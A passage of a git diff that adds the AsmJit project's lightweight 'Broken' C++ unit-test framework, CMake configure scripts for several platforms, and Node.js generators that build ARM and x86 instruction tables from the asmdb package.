+ +static void BrokenAPI_listAll() { + BrokenAPI::Unit* unit = _brokenGlobal._unitList; + + if (unit != NULL) { + INFO("Units:"); + do { + INFO(" %s", unit->name); + unit = unit->next; + } while (unit != NULL); + } + else { + INFO("Warning:"); + INFO(" No units defined!"); + } +} + +void BrokenAPI::add(Unit* unit) { + Unit** pPrev = &_brokenGlobal._unitList; + Unit* current = *pPrev; + + // C++ static initialization doesn't guarantee anything. We sort all units by + // name so the execution will always happen in deterministic order. + while (current != NULL) { + if (::strcmp(current->name, unit->name) >= 0) + break; + + pPrev = ¤t->next; + current = *pPrev; + } + + *pPrev = unit; + unit->next = current; +} + +void BrokenAPI::setOutputFile(FILE* file) { + BrokenGlobal& global = _brokenGlobal; + + global._file = file; +} + +int BrokenAPI::setContext(const char* file, int line) { + BrokenGlobal& global = _brokenGlobal; + + global._currentFile = file; + global._currentLine = line; + + return 1; +} + +int BrokenAPI::run(int argc, const char* argv[], + Entry onBeforeRun, + Entry onAfterRun) { + + BrokenGlobal& global = _brokenGlobal; + + global._argc = argc; + global._argv = argv; + + if (global.hasArg("--help")) { + INFO("Options:"); + INFO(" --help - print this usage"); + INFO(" --list - list all tests"); + INFO(" --run-... - run a test(s), trailing wildcards supported"); + INFO(" --run-all - run all tests"); + return 0; + } + + if (global.hasArg("--list")) { + BrokenAPI_listAll(); + return 0; + } + + if (onBeforeRun) + onBeforeRun(); + + // We don't care about filters here, it's implemented by `runAll`. + BrokenAPI_runAll(); + + if (onAfterRun) + onAfterRun(); + + return 0; +} + +int BrokenAPI::info(const char* fmt, ...) { + BrokenGlobal& global = _brokenGlobal; + FILE* dst = global.getFile(); + + const char* prefix = global._unitRunning ? " " : ""; + size_t len = ::strlen(fmt); + + if (len != 0) { + va_list ap; + va_start(ap, fmt); + ::fputs(prefix, dst); + ::vfprintf(dst, fmt, ap); + va_end(ap); + } + + if (len == 0 || fmt[len - 1] != '\n') + ::fputs("\n", dst); + + ::fflush(dst); + return 1; +} + +int BrokenAPI::fail(const char* fmt, va_list ap) { + BrokenGlobal& global = _brokenGlobal; + FILE* dst = global.getFile(); + + ::fputs(" Failed!", dst); + if (fmt == NULL) + fmt = ""; + + size_t len = ::strlen(fmt); + if (len != 0) { + ::fputs(" ", dst); + ::vfprintf(dst, fmt, ap); + } + + if (len > 0 && fmt[len - 1] != '\n') + ::fputs("\n", dst); + + ::fprintf(dst, " File: %s (Line: %d)\n", global._currentFile, global._currentLine); + ::fflush(dst); + + ::exit(1); + return 1; +} diff --git a/asmjit/test/broken.h b/asmjit/test/broken.h new file mode 100644 index 0000000..ad6a058 --- /dev/null +++ b/asmjit/test/broken.h @@ -0,0 +1,145 @@ +// [Broken] +// Lightweight Unit Testing for C++. +// +// [License] +// Public Domain (Unlicense) + +// [Guard] +#ifndef BROKEN_INTERNAL_H +#define BROKEN_INTERNAL_H + +// [Dependencies] +#include +#include +#include +#include + +// ============================================================================ +// [Broken - Detection] +// ============================================================================ + +#if defined(__GNUC__) && defined(__GNUC_MINOR__) +# if (__GNUC__ * 1000 + __GNUC_MINOR__) >= 3004 +# define BROKEN_NOINLINE __attribute__((__noinline__)) +# endif +#elif defined(__clang__) +# if __has_attribute(__noinline__) +# define BROKEN_NOINLINE __attribute__((__noinline__)) +# endif +#elif defined(_MSC_VER) +# define __declspec(noinline) +#endif + +#if !defined(BROKEN_NOINLINE) +# define BROKEN_NOINLINE +#endif + +// Hide everything when using Doxygen. Ideally this can be protected by a macro, +// but there is not globally and widely used one across multiple projects. + +//! \internal +//! \{ + +// ============================================================================ +// [Broken - API] +// ============================================================================ + +struct BrokenAPI { + //! Entry point of a unit test defined by `UNIT` macro. + typedef void (*Entry)(void); + + //! Test defined by `UNIT` macro. + struct Unit { + const char* name; + Entry entry; + size_t finished; + Unit* next; + }; + + //! Automatic unit registration by using static initialization. + struct AutoUnit : Unit { + inline AutoUnit(const char* _name, Entry _entry) { + name = _name; + entry = _entry; + finished = false; + next = NULL; + + BrokenAPI::add(this); + } + }; + + //! Register a new unit test (called automatically by `AutoUnit` and `UNIT`). + static void add(Unit* unit); + + //! Set output file to a `file`. + static void setOutputFile(FILE* file); + + //! Set the current context to `file` and `line`. + //! + //! This is called by `EXPECT` macro to set the correct `file` and `line`, + //! because `EXPECT` macro internally calls `expect()` function, which does + //! change the original file & line to non-interesting `broken.h`. + static int setContext(const char* file, int line); + + //! Initialize `Broken` framework. + //! + //! Returns `true` if `run()` should be called. + static int run(int argc, const char* argv[], + Entry onBeforeRun = (Entry)NULL, + Entry onAfterRun = (Entry)NULL); + + //! Used internally by `EXPECT` macro. + template + BROKEN_NOINLINE static int expect(const T& exp, const char* fmt = NULL, ...) { + if (exp) + return 1; + + va_list ap; + va_start(ap, fmt); + fail(fmt, ap); + va_end(ap); + return 0; + } + + //! Log message, adds automatically new line if not present. + static int info(const char* fmt, ...); + //! Called on `EXPECT()` failure. + static int fail(const char* fmt, va_list ap); +}; + +// ============================================================================ +// [Broken - Macros] +// ============================================================================ + +//! Define a unit test. +//! +//! `_Name_` can only contain ASCII characters, numbers and underscore. It has +//! the same rules as identifiers in C and C++. +#define UNIT(_Name_) \ + static void unit_##_Name_##_entry(void); \ + \ + static ::BrokenAPI::AutoUnit unit_##_Name_##_autoinit( \ + #_Name_, unit_##_Name_##_entry); \ + \ + static void unit_##_Name_##_entry(void) + +//! #define INFO(...) +//! +//! Informative message printed to `stdout`. +#define INFO ::BrokenAPI::setContext(__FILE__, __LINE__) && ::BrokenAPI::info + +//! #define INFO(_Exp_ [, _Format_ [, ...]]) +//! +//! Expect `_Exp_` to be true or evaluates to true, fail otherwise. +#define EXPECT ::BrokenAPI::setContext(__FILE__, __LINE__) && ::BrokenAPI::expect + +// ============================================================================ +// [Broken - Cleanup] +// ============================================================================ + +#undef BROKEN_NOINLINE + +//! \} + +// [Guard] +#endif // BROKEN_INTERNAL_H diff --git a/asmjit/tools/configure-mac-xcode.sh b/asmjit/tools/configure-mac-xcode.sh new file mode 100644 index 0000000..45ad3ef --- /dev/null +++ b/asmjit/tools/configure-mac-xcode.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +ASMJIT_CURRENT_DIR=`pwd` +ASMJIT_BUILD_DIR="build_xcode" + +mkdir ../${ASMJIT_BUILD_DIR} +cd ../${ASMJIT_BUILD_DIR} +cmake .. -G"Xcode" -DASMJIT_BUILD_TEST=1 +cd ${ASMJIT_CURRENT_DIR} diff --git a/asmjit/tools/configure-unix-makefiles-dbg.sh b/asmjit/tools/configure-unix-makefiles-dbg.sh new file mode 100644 index 0000000..f127cf2 --- /dev/null +++ b/asmjit/tools/configure-unix-makefiles-dbg.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +ASMJIT_CURRENT_DIR=`pwd` +ASMJIT_BUILD_DIR="build_makefiles_dbg" + +mkdir ../${ASMJIT_BUILD_DIR} +cd ../${ASMJIT_BUILD_DIR} +cmake .. -G"Unix Makefiles" -DCMAKE_BUILD_TYPE=Debug -DASMJIT_BUILD_TEST=1 +cd ${ASMJIT_CURRENT_DIR} diff --git a/asmjit/tools/configure-unix-makefiles-rel.sh b/asmjit/tools/configure-unix-makefiles-rel.sh new file mode 100644 index 0000000..91e556b --- /dev/null +++ b/asmjit/tools/configure-unix-makefiles-rel.sh @@ -0,0 +1,9 @@ +#!/bin/sh + +ASMJIT_CURRENT_DIR=`pwd` +ASMJIT_BUILD_DIR="build_makefiles_rel" + +mkdir ../${ASMJIT_BUILD_DIR} +cd ../${ASMJIT_BUILD_DIR} +cmake .. -G"Unix Makefiles" -DCMAKE_BUILD_TYPE=Release -DASMJIT_BUILD_TEST=1 +cd ${ASMJIT_CURRENT_DIR} diff --git a/asmjit/tools/configure-win-mingw-dbg.bat b/asmjit/tools/configure-win-mingw-dbg.bat new file mode 100644 index 0000000..03024e3 --- /dev/null +++ b/asmjit/tools/configure-win-mingw-dbg.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_mingw_dbg" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"MinGW Makefiles" -DCMAKE_BUILD_TYPE=Debug -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-mingw-rel.bat b/asmjit/tools/configure-win-mingw-rel.bat new file mode 100644 index 0000000..f311383 --- /dev/null +++ b/asmjit/tools/configure-win-mingw-rel.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_mingw_rel" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2010-x64.bat b/asmjit/tools/configure-win-vs2010-x64.bat new file mode 100644 index 0000000..296f38b --- /dev/null +++ b/asmjit/tools/configure-win-vs2010-x64.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2010_x64" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 10 Win64" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2010-x86.bat b/asmjit/tools/configure-win-vs2010-x86.bat new file mode 100644 index 0000000..f99ffe4 --- /dev/null +++ b/asmjit/tools/configure-win-vs2010-x86.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2010_x86" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 10" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2013-x64.bat b/asmjit/tools/configure-win-vs2013-x64.bat new file mode 100644 index 0000000..03b0999 --- /dev/null +++ b/asmjit/tools/configure-win-vs2013-x64.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2013_x64" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 12 Win64" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2013-x86.bat b/asmjit/tools/configure-win-vs2013-x86.bat new file mode 100644 index 0000000..a9c553f --- /dev/null +++ b/asmjit/tools/configure-win-vs2013-x86.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2013_x86" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 12" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2015-x64.bat b/asmjit/tools/configure-win-vs2015-x64.bat new file mode 100644 index 0000000..a3f0726 --- /dev/null +++ b/asmjit/tools/configure-win-vs2015-x64.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2015_x64" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 14 Win64" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/configure-win-vs2015-x86.bat b/asmjit/tools/configure-win-vs2015-x86.bat new file mode 100644 index 0000000..6f6544d --- /dev/null +++ b/asmjit/tools/configure-win-vs2015-x86.bat @@ -0,0 +1,9 @@ +@echo off + +set ASMJIT_CURRENT_DIR=%CD% +set ASMJIT_BUILD_DIR="build_vs2015_x86" + +mkdir ..\%ASMJIT_BUILD_DIR% +cd ..\%ASMJIT_BUILD_DIR% +cmake .. -G"Visual Studio 14" -DASMJIT_BUILD_TEST=1 +cd %ASMJIT_CURRENT_DIR% diff --git a/asmjit/tools/generate-arm.js b/asmjit/tools/generate-arm.js new file mode 100644 index 0000000..39843b0 --- /dev/null +++ b/asmjit/tools/generate-arm.js @@ -0,0 +1,207 @@ +// [Generate-ARM] +// +// NOTE: This script relies on 'asmdb' package. Either install it by using +// node.js package manager (npm) or by copying/symlinking the whole asmdb +// directory as [asmjit]/tools/asmdb. +"use strict"; + +const base = require("./generate-base.js"); +const hasOwn = Object.prototype.hasOwnProperty; +const kIndent = base.kIndent; +const StringUtils = base.StringUtils; + +// ---------------------------------------------------------------------------- +// [ArmDB] +// ---------------------------------------------------------------------------- + +// Create the ARM database. +const arm = base.asmdb.arm; +const isa = new arm.ISA(); + +console.log( + isa.query({ + filter: function(inst) { + return !!inst.extensions.ASIMD; + } + }) +); + +//console.log(JSON.stringify(isa.instructionMap, null, 2)); + +// ---------------------------------------------------------------------------- +// [GenUtils] +// ---------------------------------------------------------------------------- + +class GenUtils { + // Get a list of instructions based on `name` and optional `mode`. + static instsOf(name, mode) { + const insts = isa.query(name); + return !mode ? insts : insts.filter(function(inst) { return inst.arch === mode; }); + } + + static archOf(group) { + var t16Arch = false; + var t32Arch = false; + var a32Arch = false; + var a64Arch = false; + + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + if (inst.encoding === "T16") t16Arch = true; + if (inst.encoding === "T32") t32Arch = true; + if (inst.encoding === "A32") a32Arch = true; + if (inst.encoding === "A64") a64Arch = true; + } + + var s = (t16Arch && !t32Arch) ? "T16" : + (t32Arch && !t16Arch) ? "T32" : + (t16Arch && t32Arch) ? "Txx" : "---"; + s += " "; + s += (a32Arch) ? "A32" : "---"; + s += " "; + s += (a64Arch) ? "A64" : "---"; + + return `[${s}]`; + } + + static featuresOf(group) { + const exts = Object.create(null); + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + for (var k in inst.extensions) + exts[k] = true; + } + const arr = Object.keys(exts); + arr.sort(); + return arr; + } +} + +// ---------------------------------------------------------------------------- +// [ArmGenerator] +// ---------------------------------------------------------------------------- + +class ArmGenerator extends base.BaseGenerator { + constructor() { + super("Arm"); + + this.load([ + "src/asmjit/arm/arminst.cpp", + "src/asmjit/arm/arminst.h" + ]); + } + + // -------------------------------------------------------------------------- + // [Parse] + // -------------------------------------------------------------------------- + + parse() { + this.addInst({ + id: 0, + name: "", + enum: "None" + }); + + var names = isa.instructionNames; + for (var i = 0; i < names.length; i++) { + const name = names[i]; + + const enum_ = StringUtils.upFirst(name); + const insts = GenUtils.instsOf(names[i]); + + this.addInst({ + id : 0, // Instruction id (numeric value). + name : name, // Instruction name. + enum : enum_, // Instruction enum without `kId` prefix. + + familyType : "kFamilyNone", // Family type. + familyIndex : 0, // Index to a family-specific data. + + nameIndex : -1, // Instruction name-index. + commonIndex : -1 + }); + } + + console.log("Number of Instructions: " + this.instArray.length); + } + + // -------------------------------------------------------------------------- + // [Generate] + // -------------------------------------------------------------------------- + + generate() { + // Order doesn't matter here. + this.generateIdData(); + this.generateNameData(); + + // These must be last, and order matters. + this.generateCommonData(); + this.generateInstData(); + + return this; + } + + // -------------------------------------------------------------------------- + // [Generate - CommonData] + // -------------------------------------------------------------------------- + + generateCommonData() { + const table = new base.IndexedArray(); + for (var i = 0; i < this.instArray.length; i++) { + const inst = this.instArray[i]; + + const item = "{ " + StringUtils.padLeft("0", 1) + "}"; + inst.commonIndex = table.addIndexed(item); + } + + var s = `const ArmInst::CommonData ArmInstDB::commonData[] = {\n${StringUtils.format(table, kIndent, true)}\n};\n`; + return this.inject("commonData", StringUtils.disclaimer(s), table.length * 12); + } + + // -------------------------------------------------------------------------- + // [Generate - InstData] + // -------------------------------------------------------------------------- + + generateInstData() { + var s = StringUtils.format(this.instArray, "", false, function(inst) { + return "INST(" + + StringUtils.padLeft(inst.enum , 16) + ", " + + StringUtils.padLeft(inst.encoding , 23) + ", " + + StringUtils.padLeft(inst.opcode0 , 26) + ", " + + StringUtils.padLeft(inst.nameIndex , 4) + ", " + + StringUtils.padLeft(inst.commonIndex, 3) + ")"; + }) + "\n"; + return this.inject("instData", s, this.instArray.length * 12); + } + + // -------------------------------------------------------------------------- + // [Reimplement] + // -------------------------------------------------------------------------- + + getCommentOf(name) { + var insts = GenUtils.instsOf(name); + if (!insts) return ""; + + var features = GenUtils.featuresOf(insts); + var comment = GenUtils.archOf(insts); + + if (features.length) + comment += " {" + features.join("|") + "}"; + + return comment; + } +} + +// ---------------------------------------------------------------------------- +// [Main] +// ---------------------------------------------------------------------------- + +function main() { + const gen = new ArmGenerator(); + + gen.parse(); + gen.generate(); + gen.dumpTableSizes(); + gen.save(); +} +main(); diff --git a/asmjit/tools/generate-base.js b/asmjit/tools/generate-base.js new file mode 100644 index 0000000..d323b59 --- /dev/null +++ b/asmjit/tools/generate-base.js @@ -0,0 +1,537 @@ +// [Generate-Base] +"use strict"; + +const fs = require("fs"); +const hasOwn = Object.prototype.hasOwnProperty; + +// ---------------------------------------------------------------------------- +// [asmdb] +// ---------------------------------------------------------------------------- + +const asmdb = (function() { + try { + // Prefer a local copy of 'asmdb' package if possible. + return require("./asmdb"); + } + catch (ex) { + // Report a possible problem within a local asmdb. + if (ex.code !== "MODULE_NOT_FOUND") + throw ex; + + // Okay, so global then... + return require("asmdb"); + } +})(); +exports.asmdb = asmdb; + +// ---------------------------------------------------------------------------- +// [Constants] +// ---------------------------------------------------------------------------- + +const kIndent = " "; +const kJustify = 79; +const kAsmJitRoot = ".."; + +exports.kIndent = kIndent; +exports.kJustify = kJustify; +exports.kAsmJitRoot = kAsmJitRoot; + +// ---------------------------------------------------------------------------- +// [StringUtils] +// ---------------------------------------------------------------------------- + +function asString(x) { return String(x); } + +class StringUtils { + static trimLeft(s) { + return s.replace(/^\s+/, ""); + } + + static padLeft(s, n, x) { + if (!x) x = " "; + + s = String(s); + if (s.length < n) + s += x.repeat(n - s.length); + + return s; + } + + static upFirst(s) { + if (!s) return ""; + return s[0].toUpperCase() + s.substr(1); + } + + static decToHex(n, nPad) { + var hex = Number(n < 0 ? 0x100000000 + n : n).toString(16); + while (nPad > hex.length) + hex = "0" + hex; + return "0x" + hex.toUpperCase(); + } + + static format(array, indent, showIndex, mapFn) { + if (!mapFn) + mapFn = asString; + + var s = ""; + const commentSize = showIndex ? String(array.length).length : 0; + + for (var i = 0; i < array.length; i++) { + const last = i === array.length - 1; + s += `${indent}${mapFn(array[i])}`; + + if (commentSize) + s += `${last ? " " : ","} // #${i}`; + else if (!last) + s += ","; + + if (!last) s += "\n"; + } + + return s; + } + + static makeCxxArray(array, code, indent) { + if (!indent) indent = kIndent; + return `${code} = {\n${indent}` + array.join(`,\n${indent}`) + `\n};\n`; + } + + static makeCxxArrayWithComment(array, code, indent) { + if (!indent) indent = kIndent; + var s = ""; + for (var i = 0; i < array.length; i++) { + const last = i === array.length - 1; + s += indent + array[i].data + + (last ? " // " : ", // ") + StringUtils.padLeft(array[i].refs ? "#" + String(i) : "", 5) + array[i].comment + "\n"; + } + return `${code} = {\n${s}};\n`; + } + + static disclaimer(s) { + return "// ------------------- Automatically generated, do not edit -------------------\n" + + s + + "// ----------------------------------------------------------------------------\n"; + } + + static indent(s, indentation) { + var lines = s.split(/\r?\n/g); + if (indentation) { + for (var i = 0; i < lines.length; i++) { + var line = lines[i]; + if (line) lines[i] = indentation + line; + } + } + + return lines.join("\n"); + } + + static inject(s, start, end, code) { + var iStart = s.indexOf(start); + var iEnd = s.indexOf(end); + + if (iStart === -1) + throw new Error(`Utils.inject(): Couldn't locate start mark '${start}'`); + + if (iEnd === -1) + throw new Error(`Utils.inject(): Couldn't locate end mark '${end}'`); + + var nIndent = 0; + while (iStart > 0 && s[iStart-1] === " ") { + iStart--; + nIndent++; + } + + if (nIndent) { + const indentation = " ".repeat(nIndent); + code = StringUtils.indent(code, indentation) + indentation; + } + + return s.substr(0, iStart + start.length + nIndent) + code + s.substr(iEnd); + } +} +exports.StringUtils = StringUtils; + +// ---------------------------------------------------------------------------- +// [MapUtils] +// ---------------------------------------------------------------------------- + +class MapUtils { + static arrayToMap(arr, value) { + if (value === undefined) + value = true; + + const map = Object.create(null); + for (var i = 0; i < arr.length; i++) + map[arr[i]] = value; + return map; + } + + static equals(a, b) { + for (var k in a) if (!hasOwn.call(b, k)) return false; + for (var k in b) if (!hasOwn.call(a, k)) return false; + + return true; + } + + static firstOf(map, flags) { + for (var k in flags) + if (hasOwn.call(map, k)) + return k; + return undefined; + } + + static anyOf(map, flags) { + for (var k in flags) + if (hasOwn.call(map, k)) + return true; + return false; + } + + static add(a, b) { + for (var k in b) + a[k] = b[k]; + return a; + } + + static and(a, b) { + const out = Object.create(null); + for (var k in a) + if (hasOwn.call(b, k)) + out[k] = true; + return out; + } + + static xor(a, b) { + const out = Object.create(null); + for (var k in a) if (!hasOwn.call(b, k)) out[k] = true; + for (var k in b) if (!hasOwn.call(a, k)) out[k] = true; + return out; + } +}; +exports.MapUtils = MapUtils; + +// ---------------------------------------------------------------------------- +// [IndexedArray] +// ---------------------------------------------------------------------------- + +class IndexedArray extends Array { + constructor() { + super(); + this._index = Object.create(null); + } + + addIndexed(element) { + const key = typeof element === "string" ? element : JSON.stringify(element); + var idx = this._index[key]; + + if (idx !== undefined) + return idx; + + idx = this.length; + this._index[key] = idx; + this.push(element); + return idx; + } +} +exports.IndexedArray = IndexedArray; + +// ---------------------------------------------------------------------------- +// [IndexedString] +// ---------------------------------------------------------------------------- + +class IndexedString { + constructor() { + this.map = Object.create(null); + this.array = []; + this.size = -1; + } + + add(s) { + this.map[s] = -1; + } + + index() { + const map = this.map; + const array = this.array; + const partialMap = Object.create(null); + + var k, kp; + var i, len; + + // Create a map that will contain all keys and partial keys. + for (k in map) { + if (!k) { + partialMap[k] = k; + } + else { + for (i = 0, len = k.length; i < len; i++) { + kp = k.substr(i); + if (!hasOwn.call(partialMap, kp) || partialMap[kp].length < len) + partialMap[kp] = k; + } + } + } + + // Create an array that will only contain keys that are needed. + for (k in map) + if (partialMap[k] === k) + array.push(k); + array.sort(); + + // Create valid offsets to the `array`. + var offMap = Object.create(null); + var offset = 0; + + for (i = 0, len = array.length; i < len; i++) { + k = array[i]; + + offMap[k] = offset; + offset += k.length + 1; + } + this.size = offset; + + // Assign valid offsets to `map`. + for (kp in map) { + k = partialMap[kp]; + map[kp] = offMap[k] + k.length - kp.length; + } + } + + format(indent, justify) { + if (this.size === -1) + throw new Error(`IndexedString.format(): not indexed yet, call index()`); + + const array = this.array; + if (!justify) justify = 0; + + var i; + var s = ""; + var line = ""; + + for (i = 0; i < array.length; i++) { + const item = "\"" + array[i] + ((i !== array.length - 1) ? "\\0\"" : "\";"); + const newl = line + (line ? " " : indent) + item; + + if (newl.length <= justify) { + line = newl; + continue; + } + else { + s += line + "\n"; + line = indent + item; + } + } + + return s + line; + } + + getSize() { + if (this.size === -1) + throw new Error(`IndexedString.getSize(): Not indexed yet, call index()`); + return this.size; + } + + getIndex(k) { + if (this.size === -1) + throw new Error(`IndexedString.getIndex(): Not indexed yet, call index()`); + + if (!hasOwn.call(this.map, k)) + throw new Error(`IndexedString.getIndex(): Key '${k}' not found.`); + + return this.map[k]; + } +} +exports.IndexedString = IndexedString; + +// ---------------------------------------------------------------------------- +// [BaseGenerator] +// ---------------------------------------------------------------------------- + +class BaseGenerator { + constructor(arch) { + this.arch = arch; + + this.instMap = Object.create(null); + this.instArray = []; + + this.files = Object.create(null); + this.tableSizes = Object.create(null); + } + + // --- File management --- + load(fileList) { + for (var i = 0; i < fileList.length; i++) { + const file = fileList[i]; + const path = kAsmJitRoot + "/" + file; + const data = fs.readFileSync(path, "utf8").replace(/\r\n/g, "\n"); + + this.files[file] = { + prev: data, + data: data + }; + } + return this; + } + + save() { + for (var file in this.files) { + const obj = this.files[file]; + if (obj.data !== obj.prev) { + const path = kAsmJitRoot + "/" + file; + console.log(`MODIFIED '${file}'`); + + fs.writeFileSync(path + ".backup", obj.prev, "utf8"); + fs.writeFileSync(path, obj.data, "utf8"); + } + } + } + + dataOf(file) { + const obj = this.files[file]; + if (!obj) + throw new Error(`BaseGenerator.getData(): File ${file} not loaded`); + return obj.data; + } + + // --- Instruction management --- + addInst(inst) { + inst.id = this.instArray.length; + + this.instMap[inst.name] = inst; + this.instArray.push(inst); + + return this; + } + + // --- Code Injection --- + inject(key, str, size) { + const begin = "// ${" + key + ":Begin}\n"; + const end = "// ${" + key + ":End}\n"; + + var done = false; + for (var file in this.files) { + const obj = this.files[file]; + const data = obj.data; + + if (data.indexOf(begin) !== -1) { + obj.data = StringUtils.inject(data, begin, end, str); + done = true; + break; + } + } + + if (!done) + throw new Error(`Generator.inject(): Cannot find '${key}'`); + + if (size) + this.tableSizes[key] = size; + + return this; + } + + // --- Independent Generators --- + generateIdData() { + const instArray = this.instArray; + + var s = ""; + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + + var line = "kId" + inst.enum + (i ? "" : " = 0") + ","; + var comment = this.getCommentOf(inst.name); + + if (comment) + line = StringUtils.padLeft(line, 37) + "// " + comment; + + s += line + "\n"; + } + s += "_kIdCount\n"; + + return this.inject("idData", s); + } + + generateNameData() { + const arch = this.arch; + const none = `${arch}Inst::kIdNone`; + + const instArray = this.instArray; + const instNames = new IndexedString(); + + const instFirst = new Array(26); + const instLast = new Array(26); + + var maxLength = 0; + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + instNames.add(inst.name); + maxLength = Math.max(maxLength, inst.name.length); + } + instNames.index(); + + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + const name = inst.name; + const nameIndex = instNames.getIndex(name); + + const index = name.charCodeAt(0) - 'a'.charCodeAt(0); + if (index < 0 || index >= 26) + throw new Error(`BaseGenerator.generateNameData(): Invalid lookup character '${name[0]}' of '${name}'`); + + inst.nameIndex = nameIndex; + if (instFirst[index] === undefined) + instFirst[index] = `${arch}Inst::kId${inst.enum}`; + instLast[index] = `${arch}Inst::kId${inst.enum}`; + } + + var s = ""; + s += `const char ${arch}InstDB::nameData[] =\n${instNames.format(kIndent, kJustify)}\n`; + s += `\n`; + + s += `enum {\n`; + s += ` k${arch}InstMaxLength = ${maxLength}\n`; + s += `};\n`; + s += `\n`; + + s += `struct InstNameAZ {\n`; + s += ` uint16_t start;\n`; + s += ` uint16_t end;\n`; + s += `};\n`; + s += `\n`; + + s += `static const InstNameAZ ${arch}InstNameAZ[26] = {\n`; + for (var i = 0; i < instFirst.length; i++) { + const firstId = instFirst[i] || none; + const lastId = instLast[i] || none; + + s += ` { ${StringUtils.padLeft(firstId, 22)}, ${StringUtils.padLeft(lastId , 22)} + 1 }`; + if (i !== 26 - 1) + s += `,`; + s += `\n`; + } + s += `};\n`; + + return this.inject("nameData", StringUtils.disclaimer(s), instNames.getSize() + 26 * 4); + } + + // --- Reimplement --- + getCommentOf(name) { + throw new Error("BaseGenerator.getCommentOf(): Must be reimplemented"); + } + + // --- Miscellaneous --- + dumpTableSizes() { + const sizes = this.tableSizes; + + var pad = 24; + var total = 0; + + for (var name in sizes) { + const size = sizes[name]; + total += size; + console.log(StringUtils.padLeft('Size of ' + name, pad) + ": " + size); + } + + console.log(StringUtils.padLeft('Size of all tables', pad) + ": " + total); + } +} +exports.BaseGenerator = BaseGenerator; diff --git a/asmjit/tools/generate-x86.js b/asmjit/tools/generate-x86.js new file mode 100644 index 0000000..976256c --- /dev/null +++ b/asmjit/tools/generate-x86.js @@ -0,0 +1,1829 @@ +// [Generate-X86] +// +// The purpose of this script is to fetch all instructions' names into a single +// string and to optimize common patterns that appear in instruction data. It +// prevents relocation of small strings (instruction names) that has to be done +// by a linker to make all pointers the binary application/library uses valid. +// This approach decreases the final size of AsmJit binary and relocation data. +// +// NOTE: This script relies on 'asmdb' package. Either install it by using +// node.js package manager (npm) or by copying/symlinking the whole asmdb +// directory as [asmjit]/tools/asmdb. +"use strict"; + +const base = require("./generate-base.js"); +const hasOwn = Object.prototype.hasOwnProperty; +const kIndent = base.kIndent; +const MapUtils = base.MapUtils; +const StringUtils = base.StringUtils; + +const DEBUG = false; + +// ---------------------------------------------------------------------------- +// [X86DB] +// ---------------------------------------------------------------------------- + +// Create the X86 database and add some special cases recognized by AsmJit. +const x86 = base.asmdb.x86; +const isa = new x86.ISA({ + instructions: [ + // Imul in [reg, imm] form is encoded as [reg, reg, imm]. + ["imul" , "r16, ib" , "RM" , "66 6B /r ib" , "ANY OF=W SF=W ZF=U AF=U PF=U CF=W"], + ["imul" , "r32, ib" , "RM" , "6B /r ib" , "ANY OF=W SF=W ZF=U AF=U PF=U CF=W"], + ["imul" , "r64, ib" , "RM" , "REX.W 6B /r ib" , "X64 OF=W SF=W ZF=U AF=U PF=U CF=W"], + ["imul" , "r16, iw" , "RM" , "66 69 /r iw" , "ANY OF=W SF=W ZF=U AF=U PF=U CF=W"], + ["imul" , "r32, id" , "RM" , "69 /r id" , "ANY OF=W SF=W ZF=U AF=U PF=U CF=W"], + ["imul" , "r64, id" , "RM" , "REX.W 69 /r id" , "X64 OF=W SF=W ZF=U AF=U PF=U CF=W"] + ] +}); + +// Remapped instructions contain mapping between instructions that AsmJit expects +// and instructions provided by asmdb. In general, AsmJit uses `cmps` instructions +// without the suffix, so we just remap these and keep all others. +const RemappedInsts = { + __proto__: null, + + "cmpsd": { names: ["cmpsd"] , rep: false }, + "movsd": { names: 